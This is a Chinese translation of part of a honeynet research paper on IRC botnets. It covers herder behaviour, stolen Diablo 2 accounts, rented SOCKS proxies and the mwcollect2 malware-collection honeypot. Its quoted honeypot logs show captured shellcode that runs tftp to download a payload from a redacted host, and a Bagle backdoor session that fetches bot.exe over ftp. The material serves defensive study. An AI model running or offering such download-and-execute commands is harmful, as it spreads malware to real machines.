  在我们最近观察的一个僵尸网络中,发现异乎寻常的升级:任何事情都看起来很正常,僵尸网络主人能够轻易的发布命令来下载和执行新文件。我们的客户机drone下载文件然后加以分析,我们使用特殊昵称,身份以及用户信息创建了一个客户机。但是我们的客户机不能通过IRC服务器连接到新的通道。这一昵称的第一个特征在IRCd软件上没有效用。通过这种方式,攻击者失去了大概3000台僵尸。

  一个很有意思但是很少见到的一个现象就是僵尸牧者在僵尸通道中讨论一些问题。我们监听了这些谈话,对他们的社交生活有了更进一步的了解。我们还注意到小的shell(设定命令行解释器的位置)主机在他的服务器上组织了一个僵尸网络对对手发动DDoS攻击。这些人选择同样的昵称指挥僵尸网络,以便在另外一个IRC服务器中给它们的shell帐号以支持。此外,还有一些僵尸网络主人提供了关于他们自己的大量信息,因为他们并不使用免费的或是匿名的主机来执行僵尸的升级程序。这些人的行为展示了非熟练工怎么样操控僵尸网络。

  我们的研究表明,僵尸网络的操控者实际上是一群没有什么程序操作技能的毛头小子掌握的。在他们的论坛中充斥这诸如“我怎么样编写*”之类的幼稚问题。这些人僵尸网络扩展的很快,但是没有什么危害性。但是,也有一些高级的僵尸牧者,这些人只是有时进入控制通道恶意。他们只使用一个特征昵称,发布一次命令,然后就闪人了。他们所操盘的僵尸的升级相当专业。也许这些人将其用于商业目的并且兜售服务。他们少将僵尸网络用于金融方面。例如,为公司安装Browser Helper Objects(浏览器帮助插件)来跟踪或愚弄上网者或是点击弹出的广告。还有一小部分的僵尸网络牧者看起来技术很娴熟,他们剥离IRCd软件,将其变成一个非RFC后台程序。甚至不会允许一个标准的IRC连接。

  另外一个可能性就是安装特定的软件来盗取信息。我们发现一个有趣的实例,一个攻击者从一台受威胁的计算机上偷取了Diablo 2(暗黑破坏神,一个著名游戏的名称,又称恐惧)帐号然后在Ebay上出售。在Diablo 2中,你可以通过搜集强有力的项目来提高游戏中任务的力量。它是一种在线游戏。它所拥有的项目越多,价钱也就越高。在eBay for Diablo 2中,我们发现攻击者可以从中大量获利。有一些僵尸牧者向你发送电子邮件问你是否想租用僵尸网络。他们给你提供包含有主机ip地址的SOCKS v4服务器清单,还有代理服务器运行的端口。还有一些僵尸网络被用来传播垃圾邮件:未揭秘的秘密,木马被当作垃圾邮件机器人。你可以在一个俘获的案例中找到攻击者安装软件的例子。

  进一步的研究:

  关于僵尸网络跟踪技术提高的一个研究就是恶意软件的搜集。在一个名为mwcollect2的德国蜜网项目组正开展研究以期让恶意软件的搜集变得更加简单和自动化。mwcollect2包含多动态链接模块:

  漏洞模块:他们打开了一些典型的漏洞端口(135 或2745)或是根据这些端口模拟漏洞。

  Shellcode分解模块:这一模使shellcodes得到承认,通过在URL中的漏洞模块使之被其它的模块得到。

  最后,得到模块来下载以URL为特征的文件。这些URL不一定非得是HTTP或FTP URL,可以是TFTP协议。

  目前mwcollect2支持不同漏洞的模拟,以下两个例子就是软件在实际情况中的情况。在第一个例子中,mwcollect2模拟了TCP 135端口中的漏洞,并且自动的得到了一个恶意软件。

mwc-tritium:DCOMShellcodestartsatbyte0x0370andis0x01DCbyteslong.
  mwc-tritium:DetectedgenericXORDecoder,keyis12h,codeise8h(e8h)byteslong.
  mwc-tritium:DetectedgenericCreateProcessShellcode:"tftp.exe-iXXX.XXX.XXX.XXXgetcdaccess6.exe"
  mwc-tritium:Pushedfetchrequestfor"tftp://XXX.XXX.XXX.XXX/cdaccess6.exe".
  mwc-tritium:Finishedfetchingcdaccess6.exe

  在第二个实例中,软件模拟了一台计算机,这台计算机可能会因为Bagle蠕虫病毒留下的后门遭受攻击。而这次,mwcollect2有不负众望的获取了这一恶意软件。

mwc-tritium:BagleconnectionfromXXX.XXX.XXX.XXX:4802(to:2745).
  mwc-tritium:Baglesessionwithinvalidauthstring:43FFFFFF303030010A2891A12BE6602F328F60151A201A00
  mwc-tritium:Successfulbaglesession,fetch"ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe".
  mwc-tritium:Pushedfetchrequestfor"ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe".
  mwc-tritium:Downloadingofftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe(ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe)successful.
  Thefollowinglistingsshowstheeffectivenessofthisapproach:
  7xmwc-datasubm.1108825284.7ad379262005-02-1916:01CET71de42be10d1bdff44d872696f900432
  1xmwc-datasubm.1108825525.4a12d1902005-02-1916:05CETe8b065b07a53af2c74732a1df1813fd4
  1xmwc-datasubm.1108825848.7091609b2005-02-1916:10CET48b80b4b6ad228a7ec1518566d96e11e
  2xmwc-datasubm.1108826117.20bf11352005-02-1916:15CETc95eb75f93c89695ea160831f70b2a4f
  78xmwc-datasubm.1108826639.4a2da0bb2005-02-1916:23CET42cbaae8306d7bfe9bb809a5123265b9
  19xmwc-datasubm.1108826844.36d259cc2005-02-1916:27CETb1db6bbdfda7e4e15a406323bea129ce
  3xmwc-datasubm.1108827274.77b0e14b2005-02-1916:34CETfbd133e3d4ed8281e483d8079c583293
  3xmwc-datasubm.1108827430.3c0bb9c92005-02-1916:37CET7711efd693d4219dd25ec97f0b498c1f
  4xmwc-datasubm.1108828105.6db0fb192005-02-1916:48CET23fde2e9ebe5cc55ecebdbd4b8415764
  29xmwc-datasubm.1108828205.11d603302005-02-1916:50CET8982e98f4bde3fb507c17884f60dc086
  2xmwc-datasubm.1108828228.500c43152005-02-1916:50CETd045f06f59ae814514ab329b93987c86
  1xmwc-datasubm.1108828305.7c2a39a82005-02-1916:51CET556779821a8c053c9cc7d23feb5dd1d4
  34xmwc-datasubm.1108828311.655d01da2005-02-1916:51CETde53892362a50b700c4d8eabf7dc5777
  1xmwc-datasubm.1108828418.178aede32005-02-1916:53CET2a4d822c2a37f1a62e5dd42df19ffc96
  1xmwc-datasubm.1108828822.466083aa2005-02-1917:00CET2c1f92f9faed9a82ad85985c6c809030
  1xmwc-datasubm.1108829309.705a683c2005-02-1917:08CETbe4236ffe684eb73667c78805be21fe6
  11xmwc-datasubm.1108829323.4f5791122005-02-1917:08CET64cfefc817666dea7bc6f86270812438
  1xmwc-datasubm.1108829553.56e1167d2005-02-1917:12CET5ab66fae6878750b78158acfb225d28f
  11xmwc-datasubm.1108830012.4bbdedd92005-02-1917:20CET05b691324c6ce7768becbdba9490ee47
  1xmwc-datasubm.1108830074.1ca9565f2005-02-1917:21CETe740de886cfa4e1651c3b9be019443f6
  98xmwc-datasubm.1108830171.6ea1f0792005-02-1917:22CET3a0ab2b901f5a9e1023fa839f8ef3fe9
  1xmwc-datasubm.1108830729.50dbf8132005-02-1917:32CETf29797873a136a15a7ea19119f72fbed
  1xmwc-datasubm.1108831490.3cd986512005-02-1917:44CETa8571a033629bfad167ef8b4e139ce5c
  13xmwc-datasubm.1108832205.5eef64092005-02-1917:56CETd202563db64f0be026dd6ba900474c64

  在一个拨号网络中的传感器的帮助下,我们在两个小时的内就在其中得到了324个binaries,属于24个不同的类别。这24个恶意软件在md5sum的帮助下计算,md5sum是用来计算和检查MD5信息摘要的。

  使用mwcollect2的一个最大的优势是可以正确稳定的搜集僵尸。僵尸试着入侵位于Windows 2000蜜罐,使用了shellcode,包含有jmp ebx 的Windows XP显然会使服务崩溃。在大多数情况下,蜜罐将被迫重启。与此相对,mwcollect2也可能遭到所有这些工具的攻击,因此通过这种方式就可以获取大量的binaries。此外,mwcollect2的部署也很简单,只要一个人发布命令就可以开始搜集工作了(你可能想改变配置)。但是这种获取binaries的方法的负面结果就是你要通过人工的方法分析。拥有snort_inline的蜜网背后的蜜罐可以过滤相关的流量,甚至能够在受到威胁之后自动重建一个嗅探drone。

  结论

  这一论文中,我们试着阐述蜜网技术怎么样帮我们更好的理解僵尸网络的工作,它们的威胁,攻击者怎么样控制它们。研究表明,一些攻击者技术娴熟,组织严密,属于有严密组织机构的犯罪。通过操控数以千计的僵尸计算机,它们可以在短时间内将任何一个网站或是网络拖垮。甚至一个生手,很明显,僵尸网络是强有力的武器。因为僵尸网络的威胁是如此大,我们需要不同的机制来解释它。

  像Akamai一样的分散提供者提供了大量的可能性,但是大型的僵尸网络甚至会对之造成严重的威胁。使用Akamai会对大型组织和公司造成很大的压力,对特定的组织和机构来说,这是具有很高价值的目标。我们现在还不清楚僵尸网络的使用是否对政府或是军事机构的网络造成威胁,但是时间将证明一切。

  不久的将来,我们希望开发更先进的蜜罐,来帮助我们搜集关于僵尸网络威胁的信息。例子包含客户机蜜罐,它会积极的参与网络之中(例如,浏览网络,停顿IRC通道,或是使用P2P网络),或是修正蜜罐,以便它们可以搜集恶意软件并且将之发送到安全厂商进行更进一步的分析。因为我们目前的方法主要是集中于使用C&C的IRC僵尸,我们文章的目的讨论的也是IRC为基础的僵尸。我们也主要到了其它类型的僵尸,但是它们的数量很少,并且正在发展之中。在接下来的几个月或是几年之内,将会出现更多的使用非IRC C&C的僵尸分散于p2p通信中。因此在这一领域中的研究是必须的,攻击者不会止步的。因为攻击的威胁和形式日新月异,作为安全机构,我们有必要赶快行动,承担起责任!

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics